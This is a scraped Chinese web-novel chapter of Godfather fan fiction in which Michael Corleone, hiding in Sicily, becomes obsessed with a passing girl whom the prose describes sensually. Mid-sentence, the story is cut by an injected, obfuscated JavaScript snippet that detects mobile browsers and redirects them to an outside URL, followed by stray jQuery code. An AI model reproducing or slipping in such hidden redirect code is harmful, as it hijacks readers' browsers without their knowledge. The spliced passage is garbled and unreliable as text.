默认冷灰
24号文字
方正启体

2. 被雷劈了

作者:锦鲤想点本书字数:K更新时间:
    过了快七个月的悠闲的乡村生活,迈克尔终于感到厌烦起来。


    长途散步、烈性葡萄酒和结结实实一大盘的面条配肉食已经无法让他在晚上睡得和之前一样好。


    麦克劳斯凯警长留在他脸上的纪念品时不时让他感到心烦意乱,没得到纽约最先进医疗手术治疗的左脸如今因骨头恢复得不好,看起来有点邪恶而不自然。


    外貌上的变化是其次,破相的男人在西西里这个黑手党实力盘根错杂的地方,就像路边的柑橘树和柠檬树一样寻常。最让他感到不适的是眼睛下方面部神经的疼痛,像牙疼一样,不致命,但它离大脑那么近,疼痛像蛛网一般蔓延,晚上他找塔扎医生要镇痛药的次数越来越多。


    但他从未生出过后悔情绪。对于在餐馆解决毒贩索洛佐和包庇毒贩的黑警麦克劳斯凯这件事,他坦然接受。一个试图刺杀他父亲,一个打得他终生破相,没有一个柯里昂能容忍这两个毒瘤在世上多存活一天。


    这天,天气一如既往的好,在一个阳光灿烂的清晨,迈克尔决定和两个当地的牧羊人保镖,沉默淳朴的卡洛、外向善谈的法布雷奇奥远足去柯里昂镇的另一头山区。


    他们沿着尘土飞扬的乡间道路行走,经过一辆又一辆绘着艳丽图画的驴车(1)。风吹过橄榄叶,沙沙作响,夹杂着晒热的尘土味、果子的甜味。路边的果树疯了一样地开,李子、杏子、葡萄,全都沉甸甸地垂下来。


    纽约那么多从西西里移民过去的可怜的人,在他所听说的每一个故事里,西西里都是让人不得不离开的梦魇,可此时万物丰收的西西里,瓜果成熟的香气和蓝天白云的澄净,像是圣经中的伊甸园。这么美丽的西西里,却让那么多人心碎地背井离乡,可见此地人对同胞的逼迫有多残酷。


    走了十五公里,他和两名牧羊人在凉爽湿润的拘束树荫下乘凉,吃着午餐和葡萄酒。酒足饭饱,他们懒洋洋地躺在树下无所事事,聊着漫无边际的话打发时间。卡洛很少说话,总是默默地听着,脸上带着轻松惬意的表情。


    两个牧羊人都知道他从纽约来,知道他来这里避难,但他绝不可能透露半点他的身份和逃亡的原因。法布雷奇奥嘟囔着将来一定要去纽约,去看自由女神像,在纽约大展拳脚。他松开了衬衣纽扣,腹部的纹身在他呼吸间活了过来。胸口赤裸的男女蠕动,一旁丈夫手中的匕首在被刺穿的□□间颤抖。三人对这幅纹身百看不厌,正看得入神。


    就在这时,迈克尔第一次感受到“被雷劈”的震颤。


    那种感觉不是骤然落雷的轰鸣,而是一道锋利的光,毫无预兆地劈穿意识,让他从发烧般的松弛中倏地清醒过来。他的眼睛还盯着法布雷奇奥胸口那对赤裸的男女,但下一瞬,他的注意力被狠狠地扯了过去。


    远处的山道上,有人经过。是一个少女,走得不快,低着头,手里拎着篮子。她穿着一身颜色温柔的连衣裙,裙摆随风晃动,像被湖水晃过的倒影。像成熟的葡萄,饱满圆润,散发着甜味。微风将她的体型完全勾勒出来,腰线和大腿在阳光和布料之间若隐若现。


    她就像这片土地孕育出的果实,沉甸甸、带着光,仿佛专为他一个人熟成。


    迈克尔一动不动地看着她,像是第一次真正睁开眼睛。心跳莫名慢了一拍,接着就砰地重重撞了回来。热血翻涌,流经四肢,在指尖和脚趾尖冲动地叫嚣着。全西西里岛的瓜果香气都在风中涌动,柠檬、橄榄、葡萄,成熟的丰盈而甜腻。


    他还没来得及看清她的五官,但那一刻他知道了。


    她是命运派来的。是西西里的毒液,是伊甸园的禁果。太阳越过树冠照在她头顶,她的影子被拉得很长很长,而他,就站在那道影子的尽头,像等了一整个世纪。


    法布雷奇奥说了什么他没听清。卡洛转头看他,发现他已经站了起来。他盯着那少女的方向,眼中没有疑惑,只有专注,仿佛看着一个可以改变他整个人生轨迹的答案。就在那一瞬间,他想起了父亲唐·柯里昂曾说过的一句话。


    “一个人只有一个命运。”


    那是他拒绝父亲委托医生伪造病历,毅然决然参军为美国而战时,父亲坐在深色皮椅上,在雪茄的烟雾中沉声缓慢说出的一句话。


    “不是你去选命运,迈克尔,而是命运选你。”他当时没怎么放在心上,现在却像钟声一样在他脑中回荡,仿佛命运的谶言。他不知道那女孩是谁,不知道她住在哪里,是否已经名花有主,甚至不知道她刚才有没有注意到他们。但他知道一件事——他必须找到她。


    法布雷奇奥和卡洛看着迈克尔呆滞发愣似灵魂出窍,眼睛却燃着两簇熊熊燃山的火苗,对视一眼后了然,放声大笑。


    “你这是被雷劈了?”法布雷奇奥说的是问句,语气却十分笃定,拍着迈克尔的肩膀说,“西西里的女人比猎枪还危险。”卡洛也变得友善,手轻拍他另一边肩膀,“悠着点儿,兄弟,悠着点儿。”


    他感到不悦,不是因为两个牧羊人的行为,而是他自己。父亲从小就教导他们,千万不要让别人知道你在想什么,不要轻易让人看清你的底牌,喜怒不形于色才能达到目的。可是现在,他这么轻易地让两个乡间牧羊人看穿了自己的内心想法。


    而后又为自己的不悦感到可笑,这是西西里,不是纽约。


    迈克尔·柯里昂长这么大,头一次撞见这种事。


    和凯的感情与爱是基于理性的爱,他爱她的明辨是非,爱她的甜美智慧,爱她的独立理性。他们都是是大学同学,有共同话题,她知道他的理想,懂他独立于家族的心气。可是,在他扳动扳机,发出射向索洛佐和麦克劳斯凯的那一刻,和凯就彻底结束了。当底线被踩碎时,理性的爱无法继续假装无事发生。


    然而此刻,连凯也被完全驱逐出脑海。


    对刚刚的少女,他很明白,那不是青春期的爱慕,不是成人理性的爱情;是一种理性无法凌驾于其上的,仿佛着魔的强烈的占有欲。这股欲望排山倒海,来势汹汹;少女的身影深深镌刻在他脑海里。


    他清楚地意识到,要是无法得到她,这个身影会在记忆里折磨他一辈子。


    卡洛以为他是“被雷劈”所以害羞了,诚实的脸上带着严肃,宽慰他道,“你躲不过那道霹雳的。被雷劈中,有眼睛就会看得见,有什


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15405266|168747||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    么不好意思的。有些男人还祈祷‘被雷劈’呢,幸运的家伙。”


    迈克尔无意解释自己的心绪,率先迈开步伐,沿着少女消失的脚步寻找她的踪迹。法布雷奇奥和卡洛在后面迅速收拾东西,拿上装备跟上迈克尔。


    ”我们到村里看看,也许能问出她的身份。谁知道呢,也许比我们想象的容易。被雷劈只有一个解药,对吧,卡洛?”法布雷奇奥兴致勃勃,虽然问的是卡洛,目光却落到迈克尔脸上。这个幸运又可怜的,第一次被雷劈的外乡人。


    卡洛严肃地点头。迈克尔已经恢复镇定,并没有说话,脚下的步伐没有半点停顿。


    他们顺着道路走向附近的村庄,村庄在一条大路上,依照惯例,环绕带喷泉的中央广场而建。


    目光所及之处有一家小酒馆,小露台上摆着三张桌子。牧羊人找了张桌子足下,迈克尔过去和他们作伴。一眼能看到头的大路,前后左右都找不到女孩的身影,仿佛到这里就消失不见了。村庄里的人寥寥无几,仿佛空荡荡的。


    酒馆的老板出来伺候客人,他身材魁梧,个子不算高,把一碗鹰嘴豆放在桌上,兴高采烈道,“生面孔呀,需要任何建议吗?”目光在三人脸上游览,“试试我家的葡萄酒如何?葡萄是自家农庄亲手种的,酒是家里两个儿子亲手酿的。葡萄里混了橙子和柠檬,我敢保证,一定是意大利最好的红酒!”


    他们叫他拿一罐来,酒比他宣传的还要好,两个牧羊人赞不绝口,连连点头。老板得意地插着腰站在一旁,观察他们的神情,露出理所当然的样子,“怎么样?我说吧,这酒可以换来女人的吻、警察的宽容,还有上帝的庇佑。”


    法布雷奇奥一向善谈,夸完酒后问老板,“我猜你肯定知道村里的每一个姑娘,对吧?刚刚在路上经过一个姑娘,害得我朋友挨了一道雷劈。”他朝迈克尔打了个手势。


    迈克尔轻轻晃动手腕,端详杯中葡萄酒的颜色,鼻尖充斥着浓郁的果香和木香。黑紫色,在西西里柠檬黄色的阳光下,带着夺人心魄的光泽,像被恶龙盘踞守着的沉睡的宝石。


    闻言,他抬头看向老板,纯黑色的眼睛直直地、不躲不避地迎上老板的视线。


    酒馆老板维图·维泰利换了个眼神,原本挂在嘴角的笑意如潮水般退下,眼神从热情转为警觉。他重新打量迈克尔,像是在确认这年轻人到底是过客,还是麻烦的预兆。两人就那样对视了一秒,不长,却像一根绷紧的弦在空气中发出几不可闻的颤音。


    维图率先打破了沉默,“你还是带几罐酒回家吧,朋友,”他补充道,“否则今晚肯定睡不好。”


    一个挨了劈的男人,总得喝点什么,把魂拢回来。


    迈克尔没有作声,只是慢悠悠地伸手,端起酒杯,再次晃了晃杯中深紫色的液体。阳光已经有些西斜,酒的颜色变得更沉,像一滴墨水正要在空气里化开。


    他问道,“知道一个满头卷发的女孩吗?奶油般的皮肤,眼睛特别大,特别黑。知道村里有这么个女孩吗?”


    老板脸上再也不见笑意,只撂下一句“不,不知道这样的女孩”,就转身从露台回到了店里。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)